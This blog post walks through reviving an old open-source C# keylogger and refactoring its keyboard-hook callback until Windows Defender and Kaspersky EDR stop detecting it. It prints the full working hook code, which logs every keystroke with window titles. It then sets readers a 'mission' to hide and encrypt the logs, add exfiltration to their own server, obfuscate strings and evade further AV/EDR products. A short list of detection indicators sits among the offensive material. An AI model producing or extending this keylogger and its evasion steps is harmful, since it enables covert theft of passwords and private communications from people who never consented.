Key Logger

How Legitimate Input APIs Blur the Line Between Malware and Software

Written by: Iron Hulk Published: August 10, 2025 Iron Hulk

Keylogger Evolution

In this project, I will demonstrate how I transformed a detected C# malware by Kaspersky AV and EDR into an undetected malware by refactoring the implementation of a single function. We’ll bring back a a six-year-old GitHub repo, one that’s been blacklisted by security tools, and will step through how it works, make a few tweaks, and celebrate when it runs undetected. Please note that this bypasses other security solutions. USE AT YOUR OWN RISK.

First, let’s understand what a keylogger is

A keylogger is a surveillance tool, either hardware or software, that records every keystroke a user makes on their keyboard. Attackers and penetration testers, if allowed, use keyloggers to harvest sensitive information such as passwords, credit-card numbers, chat messages, and more.

Software Keylogger:

In user mode, it injects into processes, for example, a DLL injection into explorer.exe, or uses Windows APIs like SetWindowsHookEx to intercept keystrokes.
In a kernel mode, a custom keyboard‐filter driver hooks at the interrupt or driver‐stack level, capturing input below user‐mode defenses for greater stealth.

Hardware Keylogger:

Small devices placed inline between the keyboard and PC or embedded in the keyboard via cable or connector. They record scancodes at the electrical level without any software footprint on the host.


How does it work?

  1. Capture: A hook or driver intercepts each keystroke before it reaches applications.
  2. Translate: Virtual-key codes and scancodes are converted into readable characters, accounting for Shift/CapsLock.
  3. Buffer: Keystrokes are queued in memory to minimize disk I/O on every press.
  4. Record: Buffered data is flushed to a hidden log file or registry entry at intervals.
  5. Exfiltrate: Logs are sent to an attacker-controlled server.

Read more about keyloggers:

Dive deeper into how keyloggers work and how to protect against them: Malwarebytes, Fortinet, Kaspersky.

NYAN-x-CAT/LimeLogger Project

Let’s dive into this project and pinpoint the updates needed to evade modern security solutions. You can download the detected version from GitHub.

LimeLogger Project Summary:

The project is a C# tool designed to sit invisibly in the Windows input stack, capture every keystroke, and persist the result to a log file.
Here’s how the pieces fit together:

Execution Path: Step-by-Step

  1. 1
    Filter to key-down events: if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN), this will log only key-downs are logged while system-key events are ignored here
  2. 2
    Extract the virtual-key: int vkCode = Marshal.ReadInt32(lParam);, this will read the virtual-key from and cast to Keys.
  3. 3
    Sample modifiers: bool capsLock and bool shiftPress will query for CapsLock and Shift to drive casing logic.
  4. 4
    Translate VK to characters with layout awareness: string currentKey = KeyboardLayout((uint)vkCode);, KeyboardLayout uses GetKeyboardState + MapVirtualKey + ToUnicodeEx to return a Unicode string for the current layout.
  5. 5
    Normalize: Will apply correct casing (CapsLock + Shift) and collapse function keys into tokens like [F5].
  6. 6
    Map common specials with a switch: Will replace keys like Space, Enter, Esc, Tab, Ctrl, and Shift with readable tokens ([SPACE], [ENTER]).
  7. 7
    Write to the log with window context: On a window change, it will write a header like ### Title ### and append the result to log.txt.

Operational Drawbacks & Defender Grab-Points:

Disk artifacts:

  • log.txt is in a predictable path and in plaintext, no rotation or encryption.
  • High-frequency appends (per-keystroke) make I/O patterns easy to baseline.
  • EDR telemetry clearly ties the EXE and log together.

Process & memory tells:

  • Visible user-mode process with a WinForms message loop (Application.Run()).
  • Readable imports/strings such as SetWindowsHookEx, ToUnicodeEx, GetKeyState, and literal log.txt.
  • No obfuscation or packing has been used, making it easy for YARA/string matches.

Hooking & API usage patterns:

  • Global WH_KEYBOARD_LL hook from a non-system module is straightforward to enumerate.
  • Repetitive calls to GetKeyState, GetKeyboardState, ToUnicodeEx, and GetForegroundWindow correlate tightly with keystrokes.

OpSec mistakes:

  • No persistence mechanism, making it die once the system shuts down, reboots, or logs off.

Overall take:

This is a textbook, noisy, and a user-mode keylogger. Plaintext logs, with a hidden WinForms message loop (Application.Run()), and a global system-wide, low-level keyboard hook makes it trivial to spot with signatures and behavior rules. Any AV or EDR will correlate the process, the hook, and the file within minutes.

Top Grab-Me-Now..!!! Indicators:

  1. 1

    Plaintext log.txt with frequent small appends in the app directory

  2. 2

    Process owning a global WH_KEYBOARD_LL hook that isn’t signed by Microsoft.

  3. 3

    Imports and strings such as SetWindowsHookEx, ToUnicodeEx, GetKeyState, and the literal log.txt.

  4. 4

    Consistent “window header then burst of writes” matching the ### Title ### pattern.

  5. 5

    WinForms message loop with no UI (Application.Run()), recent start time, and steady context switches.


Function HookCallback Deep Dive

The hot path starts here: let’s dive deep into its logic line-by-line and turn it out into something lean and rock-solid.

The hot path starts here: let’s dive deep into its logic line-by-line and turn it out into something lean and rock-solid.

What does the function do?

This is the low-level keyboard hook handler registered via SetWindowsHookEx(WH_KEYBOARD_LL, …). Windows calls it for each keyboard event before the event is delivered to apps. The job inside this is to decide whether to log, transform, or ignore the event, then always chain to the next hook.

  • Filter: process only WM_KEYDOWN with valid nCode.
  • Extract: read VK from lParam; sample Caps or Shift via GetKeyState.
  • Translate: layout-aware chars using ToUnicodeEx; map specials and F-keys.
  • Context: detect window switch and insert ### Title ### headers.
  • Persist: append to log.txt, then pass control onward.

Now let’s work on the practical bits: Hands-On

Goal #1
Fix casing logic (CapsLock + Shift) and only case single letters.
Goal #2
Read the active title once; avoid side-effects & duplicate calls.
Goal #3
Keep I/O out of the hot path, buffer and flush periodically.

Compiling the Original Project: Immediate Detection

The moment I compile the original project, it’s instantly flagged and quarantined by Windows Defender right out of the gate, before even running it.

Windows Defender Safe

Practical patch:

              
                // Remember, the goal of this project is to rewrite a function
                // and to see how the security solution responds, this is how we 
                // study its behavior, not to fully 100% bypass all EDR solutions

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode < 0 || wParam != (IntPtr)WM_KEYDOWN)
        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    // Read the virtual-key code
    int vkCode = Marshal.ReadInt32(lParam);
    Keys key = (Keys)vkCode;

    // Determine modifier states
    bool capsLockOn = (GetKeyState(0x14) & 0xFFFF) != 0;
    bool shiftDown = ((GetKeyState(0xA0) | GetKeyState(0xA1)) & 0x8000) != 0;

    // Get the base text for this key
    string text = KeyboardLayout((uint)vkCode);

    // Apply casing for letters
    if (text.Length == 1)
        text = (capsLockOn ^ shiftDown) ? text.ToUpper() : text.ToLower();

    // Map function keys and common specials
    var specialKeys = new Dictionary
    {
        { Keys.Space,    "[SPACE]" },
        { Keys.Return,   "[ENTER]" },
        { Keys.Escape,   "[ESC]"   },
        { Keys.LControlKey, "[CTRL]" },
        { Keys.RControlKey, "[CTRL]" },
        { Keys.LShiftKey,   "[SHIFT]" },
        { Keys.RShiftKey,   "[SHIFT]" },
        { Keys.Back,     "[BACK]"  },
        { Keys.LWin,     "[WIN]"   },
        { Keys.Tab,      "[TAB]"   }
    };

    // Only F1 through F12 are being detected and logged 
    if (key >= Keys.F1 && key <= Keys.F12)
    {
        text = $"[{key}]";
    }
    else if (key == Keys.CapsLock)
    {
        text = capsLockOn
            ? "[CAPSLOCK: ON]"
            : "[CAPSLOCK: OFF]";
    }
    else if (specialKeys.TryGetValue(key, out string special))
    {
        text = special;
    }

    // Write to log, inserting window-title header when it changes
    string activeTitle = GetActiveWindowTitle();
    bool sameWindow = activeTitle.Equals(CurrentActiveWindowTitle, StringComparison.Ordinal);
    CurrentActiveWindowTitle = activeTitle;

    using (var sw = new StreamWriter(loggerPath, true))
    {
        if (!sameWindow)
        {
            sw.WriteLine();
            sw.WriteLine($"###  {activeTitle} ###");
        }
        sw.Write(text);
    }

    return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
              
            

Compiling the New Refactoring Function: Not Detected and Running

After implementing the refactored function, the build now runs clean, with no detection from Windows Defender or Kaspersky with EDR enabled, and the program executes flawlessly.

Windows Defender Safe

Verification checklist (new function)
  • • CapsLock + Shift: letters keep correct case.
  • • Exactly one header per window switch (requires a pure GetActiveWindowTitle() that doesn’t mutate state).
  • • Fewer redundant ### Title ### lines once the getter is pure.
  • • F-keys (F1–F12) and common specials like Space, Enter, Esc, Ctrl, Shift, Back, Win, and Tab are normalized.
I’m not handing it to you on a silver platter, here’s your mission:
  • • Relocate the log storage to a stealthier location, and apply solid encryption.
  • • Hunt down and fix the remaining bugs from the latest update.
  • • Implement a secure exfiltration channel to send logs to your server.
  • • Apply both syscall usage and aggressive string obfuscation.
  • • These are just the starting points; it’s on you to push it further and bypass other AV/EDRs.

Conclusion:

Note: What I have done is not rocket science. I simply played with the code to see how the security solution would respond. My message to you is:

  • For Developers: Always think smart, refine your skills, and approach challenges with an out-of-the-box mindset.
  • For Users: Practice strong security awareness and never click on links or open files blindly.
  • Final Note: Thank you for reading, and stay tuned for upcoming projects that push the boundaries even further.